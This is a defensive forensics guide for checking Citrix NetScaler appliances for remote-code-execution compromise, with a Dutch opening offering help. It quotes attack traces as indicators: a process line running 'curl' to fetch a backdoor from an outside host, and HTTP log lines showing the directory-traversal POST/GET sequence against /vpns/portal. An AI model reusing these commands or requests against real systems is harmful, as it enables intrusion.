
NETSCALER REMOTE CODE EXECUTION FORENSICS
Mocht je twijfelen of je Netcaler ADC is gehacked, hieronder vind je informatie hoe dit te onderzoeken.
Wij kunnen u daarbij helpen en adviseren over de te nemen maatregelen!
Note: FreeBSD will use gzip compression for many of these logs after they reach a specific size. Therefore, on active systems, you may have to examine the archived .gz versions of the log files as well.
bash.log: This file contains information on commands run through the Bash interpreter, /usr/bin/bash. TrustedSec has found that this file will still contain command executions even if the HISTFILE environment variable has been unset (a common anti-forensics technique).
Search for any suspicious executables such as curl, hostname, uname, or whoami, or commands run by user nobody.
Jan 10 13:35:47 <local7.notice> ns bash[63394]: nobody on /dev/pts/3 shell_command="hostname"
The number within the brackets (63394 in the example above) is the process ID of the process that executed it. Make sure to search for that in order to find additional information on what was executed.
Additionally, TrustedSec has also seen commands executed with the phrase ‘(null) on’ where the username should be. This should also be searched for to find suspicious activity.
root@ns# ps auxd | grep nobody nobody 61092 0.0 0.3 111528 4844 ?? I 12:00PM 0:00.17 | |-- /bin/httpd nobody 63390 0.0 0.0 8320 16 ?? I 1:35PM 0:00.00 | | `-- sh -c uname & curl -o - http://10.1.1.2/backdoor nobody 63393 0.0 0.2 33204 3240 ?? I 1:35PM 0:00.04 | | `-- python (python2.6) nobody 63394 0.0 0.1 8264 1544 3 Is+ 1:35PM 0:00.00 | | `-- bash nobody 64120 0.0 1.2 110496 19708 ?? S 2:00PM 0:00.15 | |-- /bin/httpd nobody 64121 0.0 0.0 105352 0 ?? IW - 0:00.00 | |-- /bin/httpd nobody 64122 0.0 0.0 105352 0 ?? IW - 0:00.00 | |-- /bin/httpd nobody 64123 0.0 0.0 105352 0 ?? IW - 0:00.00 | |-- /bin/httpd nobody 64124 0.0 0.0 105352 0 ?? IW - 0:00.00 | `-- /bin/httpd
Note: The file sh.log contains logs executed from the Bourne shell located at /bin/sh. This may also include useful data.
Notice.log: The notice.log file contains all Notice severity level messages from the system. Many commands, such as the Bash commands in bash.log, are logged with the Notice severity level, which will also be in this location.
Search for any suspicious executables such as curl, hostname, uname, or whoami, or commands run by user nobody.
httpaccess.log, httperror.log: These two files contain HTTP log messages from the Citrix server. Since the attack occurs over the web interface, these files will contain the IP addresses of the attacking systems.
Look for any HTTP log messages that contain directory traversal attacks with /vpn. Note that seeing a POST followed by a GET to an XML file is a great indicator for a successful attack. We have also seen successful executions with a direct request logged to /vpns without the xml specified.
10.1.1.1 - - [10/Jan/2020:13:23:51 +0000] "POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1" 200 143 "https://10.1.1.2/" "USERAGENT " 10.1.1.1 - - [10/Jan/2020:13:23:53 +0000] "GET /vpn/../vpns/portal/backdoor.xml HTTP/1.1" 200 941 "-" "USERAGENT" 10.1.1.1 - - [10/Jan/2020:16:12:31 +0000] "POST /vpns/portal/scripts/newbm.pl HTTP/1.1" 200 143 "https://10.1.1.2/" "USERAGENT"
File Locations
There are a few locations in which backdoors may initially be placed on the system after it is exploited. Search the following directories for unusual files:
- • /netscaler/portal/templates
- • /var/tmp/netscaler/portal/templates
Running Processes
Since the web server runs as user nobody, any initial commands (before escalation) will also run as user nobody. Therefore, you can search running processes for those owned by user nobody. From our analysis so far, few things outside of /bin/httpd should be running. Any processes running as a child of httpd, as shown below, should be investigated as suspicious .
nobody 61092 0.0 0.3 111528 4844 ?? I 12:00PM 0:00.17 | |– /bin/httpd
nobody 63390 0.0 0.0 8320 16 ?? I 1:35PM 0:00.00 | | `– sh -c uname & curl -o – http://10.1.1.2/backdoor
nobody 63393 0.0 0.2 33204 3240 ?? I 1:35PM 0:00.04 | | `– python (python2.6)
nobody 63394 0.0 0.1 8264 1544 3 Is+ 1:35PM 0:00.00 | | `– bash
nobody 64120 0.0 1.2 110496 19708 ?? S 2:00PM 0:00.15 | |– /bin/httpd
nobody 64121 0.0 0.0 105352 0 ?? IW – 0:00.00 | |– /bin/httpd
nobody 64122 0.0 0.0 105352 0 ?? IW – 0:00.00 | |– /bin/httpd
nobody 64123 0.0 0.0 105352 0 ?? IW – 0:00.00 | |– /bin/httpd
nobody 64124 0.0 0.0 105352 0 ?? IW – 0:00.00 | `– /bin/httpd
Since FreeBSD uses a procfs virtual file system that contains information on processes, investigators can go into /proc/<PID> and possibly obtain additional information on running processes.
Additionally, running the lsof program (lsof -p <PID>) on the process ID of suspicious programs may also give information and clues.